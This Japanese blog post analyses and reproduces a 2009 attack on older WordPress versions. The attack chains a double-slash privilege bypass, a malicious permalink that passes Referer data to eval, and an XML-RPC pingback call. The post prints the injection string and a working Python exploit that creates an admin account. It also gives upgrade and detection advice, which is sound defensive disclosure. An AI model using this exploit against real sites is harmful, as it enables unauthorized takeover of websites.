現在進行中の WordPress に対する攻撃の詳細と再現
WordPress フォーラムの http://wordpress.org/support/topic/307518 にて今回の攻撃方法が議論されていました。クラッカーの攻撃手法が解明されていましたのでご説明したいと思います。
と、特に攻撃方法が命名されていなかったので、「現在進行中の WordPress に対する攻撃」のことを今回の攻撃と記載しています…ややこしいので誰かとっとと名前付けてくれないかしら?wordpress.org のサイト構造にあまり詳しくないので実際はもう命名されてるのかもしれませんがw
で、先に結論から言いますと、今回の攻撃は権限チェックのバグとスクリプトインジェクションが組み合わされたもののようです。攻撃が成功すると、ダッシュボードから見えない管理者アカウントが作成されます。また、バックドアが仕込まれることもあるようです。
攻撃条件
まず最初に、今回の攻撃が成功するための条件を説明します。攻撃方法に興味の無い方はとりあえずここだけでも見といてください。(で WordPress を最新版にバージョンアップしてください。)
で、今回の攻撃は以下の条件を満たした WordPress サイトに対して可能です。
- WordPress が最新版ではない
- 新規ユーザーの登録が誰でも可能となっている
新規ユーザーの登録は、【設定】→【一般】→【メンバーシップ】の「誰でもユーザー登録ができるようにする」がチェックされている場合可能です。デフォルトは…どうなってたんだろ?wごめん忘れた。個人ブログの場合は登録できないようにしている場合がほとんどだと思いますが、誰でも登録できるようになっていないかご確認ください。もちろん必要があってそうしている場合は別問題ですw
なお、既に攻撃されている場合は最新版にバージョンアップしても直りませんので、WordPress のパーマリンクと RSS に関する問題について等を参考にチェック及び対応をしてください。
攻撃方法
実際の攻撃は以下の3ステップで行われます。
- /wp-login.php から新規ユーザーを作成する。
- /wp-admin//options-permalink.php にアクセスし、パーマリンクを %&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ など WordPress Permalink & Rss problems で説明されている形式に変更する。
- /xmlrpc.php にアクセスし、スクリプトインジェクション可能な XML-RPC コールを行い(ユーザーパネルから見えない隠された)新規管理者を作成する。
各ステップの詳細ですが、まず最初の /wp-login.php からのユーザーの作成については、WordPress の設定で元から誰でも新規ユーザーを追加できる状態になっていなければできませんのでこれ自体はセキュリティホールでは無いです。ここにもセキュリティホールがあるかもしれませんが、フォーラムでは特に言及されておらず、こちらで確認した限りではこの辺にセキュリティホールは無さそうでした。無いとは保証できませんがw
次の /wp-admin//options-permalink.php はダッシュボードの【パーマリンク設定】へのアクセスなんですが、デフォルトの新規ユーザー作成は「購読者」権限で行われるので、本来はアクセスできないページへアクセスしてることになります。これが WordPress Privileges Unchecked in admin.php and Multiple Information Disclosures – Corelabs で説明されている // バグです。ちなみに購読者権限では /wp-admin/options-permalink.php にはアクセスできず、/wp-admin//options-permalink.php とスラッシュを重ねたときだけアクセスできるようになるのが、このバグのキモです。(つーか最初フォーラムを流し読みしてたとき完全に読み飛ばしてたw)
最後の xmlrpc.php へのアクセスでは wp-include/rewrite.php で定義される url_to_postid 関数が呼び出される XML-RPC を呼び出します。パーマリンクを改造した状態で url_to_postid を呼び出すとスクリプトインジェクションが可能なためです。WordPress 2.7.1 では、url_to_postid 関数が呼び出される XML-RPC コールは wp.newComment、pingback.ping、pingback.extensions.getPingbacks の三つです。このいずれかを呼び出すと、%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ が url_to_postid 関数内の eval で実行されスクリプトインジェクションが発生します。このとき Referer HTTP ヘッダに base64 エンコードした PHP コードを含めてリクエストすると、基本的には何でも実行できてしまいます。実際の攻撃ではここで http://wordpress.org/support/topic/307518/page/2#post-1199642 に掲載されているコードが実行され、管理者アカウントが作成されます。
なお実際の攻撃の際、新規作成された管理者は JavaScript によりメニューの【ユーザー】から隠されます。ただこの辺は、今回の攻撃の本質的な部分ではないと思いますのでこの記事では説明しません。興味のある方は http://wordpress.org/support/topic/307518/page/2#post-1199642 からリンクされている http://links.webwordpress.cn/data/shortpart2.txt の中身か http://wordpress.org/support/topic/307518/page/2#post-1199846 をご覧ください。
また攻撃成功後、gpc_ で始まる関数が index.php 等に追加されることがあるようです。実際に追加されるコードについては、Well, an update worth its salt – sean’s place をご覧ください。中身はサイトが対策を取った後で再度侵入するためのバックドアのようです。こちらについても冒頭のフォーラムで言及されているのですが、必ず仕込まれる訳ではないなど不明な点が多くこの記事では説明を省略しています。フォーラムにて、gpc_ で grep をかけろとの助言がありますので、攻撃されているかチェックする際に実行した方が良いと思います。いずれにせよ管理者権限の取得は攻撃の第一段階に過ぎない様です。
攻撃の再現
以上の内容で手元の環境(WordPress 2.7.1)に対して攻撃を再現してみました。
まず WordPress を誰でもユーザーを登録できる状態にしてから普通に /wp-login.php へアクセスして適当に新規ユーザーを作成します。このとき作成される新規ユーザーの権限は(元からの設定で)購読者としています。
次に作成したユーザーでログインし、/wp-admin//options-permalink.php へアクセスします。以下のキャプチャではちょっと分かりにくいかもしれませんが、ダッシュボードの下のメニューに【設定】→【パーマリンク設定】が表示されていないにも関わらずパーマリンク設定を開いており、本来権限が無いページにアクセスしているのが判別できると思います。
アクセス後はカスタム構造を選択し、%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ を入力します。(その際先頭に / が追加されますので、実際のパーマリンクは /%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ になります。)
最後に base64 エンコードされた PHP コードを Referer に指定して /xmlrpc.php にアクセスし、pingback.extensions.getPingbacks XML-RPC コールを呼び出します。前述したとおり wp.newComment や pingback.ping XML-RPC コールでも攻撃可能ですが、pingback.extensions.getPingbacks 以外は設定で無効にできるためこれを呼び出すのが一番確実だと思います。
この部分の攻撃の再現には以下のような Python スクリプトを作って実行しました。実際の攻撃では file_get_contents を使用して外部からテキストファイルを読み込む等、(主に隠された管理者を作成するため)exploit_code に相当する部分がもっと複雑なのですが、あくまで再現が主眼ですので新規ユーザーを管理者権限で作成するところまでにしました。
from base64 import standard_b64encode from xmlrpclib import ServerProxy, Transport, ResponseError baseuri = 'http://localhost' exploit_code = "$uid=wp_create_user('test','test');$u=new WP_User($uid);$u->set_role('administrator');exit();" class MyTransport(Transport): def send_user_agent(self, connection): Transport.send_user_agent(self, connection) connection.putheader('Referer', standard_b64encode(exploit_code)) server = ServerProxy(baseuri + '/xmlrpc.php', transport=MyTransport(use_datetime=0)) try: server.pingback.extensions.getPingbacks( baseuri + '/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/') except ResponseError: pass
スクリプト実行後、管理者権限を持つユーザー test(パスワードも test)が作成されます。これでこの WordPress に対して何でもできるようになりましたw
バージョン 2.8.4 の安全性
攻撃に関わる要素はだいたい把握できたと思いますので、簡単にバージョン 2.8.4 で同じ問題が発生しないか確認してみました。
まず /wp-admin//options-permalink.php へのアクセスですができませんでした。パーマリンクの書き換えができなくなってますので今回の攻撃は 2.8.4 に対して効果は無さそうです。 WordPress Privileges Unchecked in admin.php and Multiple Information Disclosures – Corelabs では // バグは 2.8.0 にて対策されていると説明されていますので、2.8.4 未満でも問題は発生しないっぽいです。ただ私の方では 2.8.4 しか確認していませんので、とりあえず最新版にしといた方が無難だと言っときます。
次に url_to_postid での eval ですが特に 2.7.1 と変わってないようでした。eval する際に変数展開が必要みたいで、単純に
eval("\$query = \"" . addslashes($query) . "\";");
を
eval("\$query = '" . addslashes($query) . "';");
に変えるのは今のところ難しいっぽいです。具体例にどうこうって訳ではありませんが、また何か問題発生するかもしれません。
その他
xmlrpc.php に対する攻撃は以前のバージョンから継続して試みられているようで、Did your WordPress site get hacked? にその手法が説明されています。今回の攻撃においても対応のためにとりあえず「xmlrpc.php を消した」人がフォーラムにいました。
またフォーラムにて、WordPress のコアファイルのパーミッションをウェブサーバから更新できないようにしとくべきだとの指摘も見られましたが、スクリプトインジェクション可能な状態でパーミッションを変えてもクラッカーが chmod すればすり抜けられますので、個人的にはセキュリティ面ではあまり寄与しないと思います。(WordPress 本体やプラグインのバグからサイトを守るという意味では重要だと思いますが。)
プラグイン
フォーラムの議論の中で、いくつか使えそうなプラグインが推薦されていましたので紹介しておきます。
紹介しといてこんなこと言うのもアレですが、正直両方とも微妙な感じです。何が微妙かは実際に使って体感してね!w
さくら
(追記 同日18:00ごろ)
攻撃方法の xmlrpc.php の説明が分かりにくかったので言い回しを変えました。
TechCrunch の警告! WordPress旧版は簡単に乗っ取られる―即刻アップデートをにて、WordPressの親会社のAutomatticからこの件に関する発表はまだと報告されています。
(追記 9/8 12:20ごろ)
冒頭の結論に攻撃結果を追加し、バックドアの説明を少し増やしました。
[...] [...]
WordPress を最新版にアップグレードしてください
WordPress 2.8.4 未満をターゲットに不正アクセスが行われているようです。
…
[...] 現在進行中の WordPress に対する攻撃の詳細と再現 | ゆっくり…して…イってネ! [...]
[...] クラックの手法などの詳細はゆっくり…して…イってネ!「現在進行中の WordPress に対する攻撃の詳細と再現」に詳しかったです。 [...]
[...] 現在進行中の WordPress に対する攻撃の詳細と再現 « ゆっくり…して…イってネ! [...]
[...] く接続できず。よく見ると、XML-RPCがどうのこうのと書かれていたので、ああ先日WordPressへの不正アクセスが起きているという記事を読んでXML-RPCを無効にしたのが原因か、と思い立った。 [...]
[...] →ゆっくり…して…イってネ!:現在進行中の WordPress に対する攻撃の詳細と再現 →WordPress.COM 日本語:WordPress [...]
My partner and I absolutely love your blog and find many
of your post’s to be what precisely I’m looking for. Do you offer guest writers to write content for you personally?
I wouldn’t mind creating a post or elaborating on a
lot of the subjects you write concerning here. Again,
awesome site!
Take a look at my page; best electric cigarette (Madeleine)
divveeはこちら